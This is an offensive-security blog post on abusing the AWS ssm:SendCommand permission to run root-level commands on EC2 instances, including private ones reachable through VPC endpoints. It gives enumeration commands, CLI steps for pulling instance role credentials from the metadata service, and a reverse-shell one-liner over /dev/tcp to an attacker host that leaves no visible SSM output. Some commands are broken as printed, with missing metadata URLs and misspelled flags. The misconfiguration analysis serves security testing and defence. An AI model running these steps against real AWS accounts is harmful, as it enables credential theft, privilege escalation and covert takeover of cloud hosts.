AWS ssm:SendCommand or network agnostic built-in RCE as root

Post-exploitation in cloud can be fun and easy if you have the right permissions. There is no other permission that I would rather have than ssm:SendCommand. In this article I’ll present you multiple attack vectors that would help you in further compromising the cloud environment and escalating your privileges. Let’s get hacking!

1. What is SSM

SSM stands for Simple Systems Manager, but that is its old name. Now is called just Amazon Systems Manager.

The service exposes multiple features that allow you to manage your EC2 instances among other things. For SSM to work you need to install the SSM Agent on the target EC2 instance, ensure that communication with the SSM API can be established and grant set of basic permissions to the instance.

Once the prerequisites are met, you can control the instance(s) from SSM either individually or multiple at once. The fact that you can manage tens of instances at once is exactly why most organizations are using SSM.

The most common features are:

  • Patch Manager – Used to apply patches simultaneously on multiple instances
  • Session Manager – SSH connection to instance even if you don’t have the SSH private key or if the SSH port is not reachable from your IP
  • Run command – Perform operations through documents (kind of local binaries/script), including running system commands
  • Compliance – Checks compliance of various conditions across multiple instances
  • Automation – Simplifies common maintenance and deployment tasks, but cannot be scheduled
  • Inventory – Provides visibility into your EC2 instances and on-premises computing environment

So, how does it work? Well, like most of AWS services, it has a dashboard from where you can use the mentioned features giving that you have the right permissions to do so. The next screenshot illustrates the SSM dashboard from Inventory.

Amazon Systems Manager can also be used from AWS CLI which we’ll leverage later as part of the exploitation process.

2. ssm:SendCommand

As you can see, SSM is a powerful service and access to it should be granted only to authorized entities and as granular as possible. We’ll see in the next chapter what can cause a violation of least privilege principle.

Now, “ssm:SendCommand” is the permission required for using the Run Command feature. We briefly presented it in the previous chapter, but let’s detail it.

Run Command works by specifying a document along with the required parameters and the target instance(s). AWS says that “An AWS Systems Manager document (SSM document) defines the actions that Systems Manager performs on your managed instances”. Consider a document a binary/script that is executed on the target instance. In reality, a SSM document is just a JSON with various fields that is interpreted by the SSM Agent on the instance.

There are over 100 documents predefined in SSM, but among these, two are most of interest: AWS-RunShellScript (works on Linux and MacOS) and AWS-RunPowerShellScript (works on Windows and Linux). Both are executing system commands, which is basically a built-in RCE.

You can use any of them in the next manner:

# this will return the command ID which you'll need in order to retrieve the execution's result
aws ssm send-command --instance-ids $ec2_instance_id --document-name "AWS-RunShellScript" --parameters commands=$command

# get command output
aws ssm list-command-invocations --command-id $command_id --details

In the screenshot above we executed the “id” command and retrieved the execution’s output. Notice something weird? The command executed as root. I can tell you that the same thing is available for Windows, where the commands are executed under NT Authority\SYSTEM. We’ll get into why that happens in chapter 4. But until then, notice that “send-command” works with the parameter “–instance-ids“, meaning that you can launch the same command at once against multiple EC2 instances.

To familiarize yourself with this feature and its documents I recommend using the web portal where you can easily navigate through documents and execute them against instances from your account.

Before we move further, as you noticed, you need to know the instance’s ID in order to send commands to it. For getting it, you will need additional permissions. There are high chances that the EC2 instance will have other policies (e.g for sending logs). Below are some commands that you can blindly try. If you have permissions for at least one of them, instance ids will be returned in most of the cases. Just make sure you are in the right region or try multiple regions. You can change the region from AWS CLI with “aws configure set region <region>”.

  • aws ec2 describe-instances
  • aws ec2 describe-addresses
  • aws ec2 describe-volumes
  • aws ec2 describe-bundle-tasks
  • aws ec2 describe-classic-link-instances
  • aws ec2 describe-conversion-tasks
  • aws ec2 describe-elastic-gpus
  • aws ec2 describe-export-tasks
  • aws ec2 describe-fleets
    • aws ec2 describe-fleet-instances –fleet-id $fleet_id
  • aws ec2 describe-iam-instance-profile-associations
  • aws ec2 describe-instance-credit-specifications
  • aws ec2 describe-instance-event-windows
  • aws ec2 describe-instance-status
  • aws ec2 describe-network-insights-analyses
  • aws ec2 describe-replace-root-volume-tasks
  • aws ec2 describe-network-interfaces
  • aws ec2 describe-route-tables
  • aws ec2 describe-spot-instance-requests
  • aws ec2 describe-volume-status

Depending on what resources are in the target AWS account, some commands like describe-bundle-tasks might return an empty array. The best chances are with describe-instances, describe-volumes and describe-instance-status. These should be the first ones to try.

3. Misconfigurations and causes

3.1 General aspects

As you can see, the feature is very powerful and can lead to the complete compromise to any EC2 instance from the AWS account. This is exactly why, by granting this permission to multiple users, the chances for an attacker to get access to the Run Command feature are increasing.

Based on our engagements, we noticed that the “ssm:SendCommand” action is not well known by organizations. In multiple instances, the permission is granted as part of a bigger AWS managed policy or by granting “ssm:*” over all resources.

There is also the next consideration that should be noticed. As part of the SSM is Parameter Store, a feature that is heavily used by organizations even if they don’t use SSM for EC2 instance management. Now, if the cloud engineer is not entirely familiar with SSM, (s)he might grant “ssm:*” just for managing resources from Parameter Store.

Coming back to AWS managed policies that grants the ssm:SendCommand, here is a list of what I identified at the moment of writing this article:

  • AmazonSSMAutomationRole
  • AmazonSSMFullAccess
  • AmazonSSMMaintenanceWindowRole
  • AmazonSSMServiceRolePolicy

If you get access to anything that has attached any of the above policies, then you’re in luck because you should be able to execute commands on EC2 instances (giving that there are no other policies that deny this action and that permission boundaries are not limiting you).

3.2 Being impatient

This is a funny one. So, for managing EC2 instances with SSM there are some prerequisites that need to be handled at the instance level. These are:

  • SSM Agent being installed and running on the instance (true by default on most common images)
  • There should be network access between SSM API and EC2 instance (true by default)
  • The EC2 instance needs a set of basic permissions in order to communicate with the SSM API
    • This can be done by attaching the AWS managed policy AmazonSSMManagedInstanceCore to the instance’s role
    • This policy doesn’t grant the ssm:SendCommand permission

If everything works, in Fleet Manager from SSM you will have the status of SSM Agent as “Online”. Now you can manage this EC2 instance.

The thing is that, if you attach the AmazonSSMManagedInstanceCore policy to an already running instance, it can take a few minutes until the status will be marked as “Online”. If you’re in a hurry, what will you do? You’ll attach the policy AmazonSSMFullAccess to the instance’s role, of course!

By the time you added this policy, the SSM Agent status will change to “Online” and someone might think that it was an issue with the granted permissions. The problem is that now the instance has the permission to launch system commands against any EC2 instance with the SSM Agent status as “Online”.

I say that this is a problem because the EC2 instance might be used to expose a vulnerable web application from which the access credentials can be exfiltrated. Once exfiltrated, the attacker will have access to the same permissions as the EC2 instance. Ouch!

We encountered exactly this scenario in one of our engagements where every EC2 instance had both the AmazonSSMManagedInstanceCore and AmazonSSMFullAccess policies attached to them. After compromising the credentials of one instance, we had RCE on all the instances within the account.

4. RCE under high privileges

Let’s get back to our example where we saw that the commands are running as root. Why is that? Because that’s by design. Every document will run under high privileges. Even the ones custom made. Let me show you.

I created a document that executes system commands, basically the same functionality as AWS-RunShellScript (a behavior similar to a web shell).

I expected that only documents that start with “AWS-” would run with high privileges, but any document runs like this as it can be seen in the next screenshot:

AWS doesn’t seem to have a way of limiting the user under which the commands run. In the documentation page Restricting access to root-level commands through SSM Agent their solution is to use tags and IAM policies in order to control who can execute commands on what group of instances. The recommendation doesn’t really address the real issue, the fact that everything is executed under high privileges.

5. Targeting private networks from the internet

On multiple engagements I noticed that big organizations are using a hybrid approach between their on-premises infrastructure and AWS environment. Going further with this, they want to use EC2 instances, but without exposing them to the internet. Kind of like expanding their internal network. Which is completely fine and possible by deploying instances without public IPs. These would make them accessible only from configured VPCs.

When talking about big organizations most than often there will be tens of EC2 instances. Because of that, people will use SSM to better manage them. But how would that work since the instances are in a private network and the SSM API is from outside that network? Let’s see this with the next example.

Here we have a private EC2 instance (note the missing public IP and public DNS) that only allows connections (inbound and outbound) from a random internal IP ( The instance has the same configuration in terms of prerequisites for interacting with SSM (permissions granted through a role and the SSM agent up and running).

Let’s try to send a command from the internet.

Well, it works. Kind of crazy, right? So, we are able to execute commands under high privileges from internet against a private EC2 instance (even if the security groups don’t specify anything about the SSM).

However, this is not out of the box. The victim needs to add 3 VPC Endpoints that target the VPC where the instance is running. But most than often, this configuration will be present because organizations need to manage multiple EC2 instances at once.

6. Exfiltrate access credentials from EC2 instances

At this point the post-exploitation process involves the same techniques as with any compromised host. You perform enumeration, try to move laterally and so on (through a reverse shell ideally, but will talk about that in the next chapter).

One particularity of post-exploitation in cloud is that you can elevate your privileges by getting access to another instance/VM/computing engine. Talking just about AWS, if you have access to an instance then you have the same level of privileges as that instance. But by using SSM, you can have access to all the instances, from the internet, even if the instances are private.

Stealing access credentials from EC2 instances is easy if you have RCE. If the instance is configured with Metadata API version 1 then all you need to do are two GET requests. One for finding the name of the role on the instance and the second one to get the access credentials.

# 1. Find role name
# 1.1 Launch command and retrieve command id
aws ssm send-command --instance-ids $id \
    --document-name "AWS-RunShellScript" \
    --parameters commands='curl'

# 1.2 Get output with role name
aws ssm list-command-invocations --comand-id $command_id --details

# 2. Get access credentials
# 2.1 Launch command and retrieve command id
aws ssm send-command --isntance-ids $id \
    --document-name "AWS-RunShellScript" \
    --parameters commands="curl$role_name"

# 2.2 Get output access credentials
aws ssm list-command-invocations --comand-id $command_id --details

This is exemplified in the next screenshot.

A scenario close to the real world would be when you manage to get the access credentials from an instance, let’s call it instance A. This instance has the permission “ssm:SendCommand” and can launch commands to other instances. You manage to find the id of a second instance, let’s call it instance B. Now, you exfiltrate the access credentials from instance B using SSM. With this new set of permissions, you might be able to elevate your privileges to administrator at the AWS account level.

Th next diagram better illustrates this attack.

7. Getting a reverse shell

SSM send-command is cool, but can we get a reverse shell? Well…yes!

Just start a listener, run the next command and that’s it. Reverse shell as root.

aws ssm send-command --instance-ids $instance_id --document-name "AWS-RunShellScript" --parameters commands="0<&196;exec 196<>/dev/tcp/$attacker_server/$attacker_port; sh <&196 >&196 2>&196"

I used ngrok for forwarding the shell in my VM and everything worked without issues.

If we look in SSM for the command’s output, we’ll see that is empty. This is kind of nice for the attacker because the victim will not find from the SSM console what commands were executed in the shell.

Now, this works because the target EC2 instance has a security group that allows outbound connections to any destination. If you would target a private instance with a more restrictive security group, then a reverse shell would not be possible. Considering that big organizations are mostly using private instances, this is somewhat inconvenient.

Currently I’m working on a tool that would solve this issue. We’ll update the article with a GitHub link once I have it developed. In the meantime, I hope this article will help you in your next engagement. If you like articles about cloud security, then make sure to stick around as I’m approaching a few more interesting ideas. Happy hacking!

AWS ssm:SendCommand or network agnostic built-in RCE as root

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s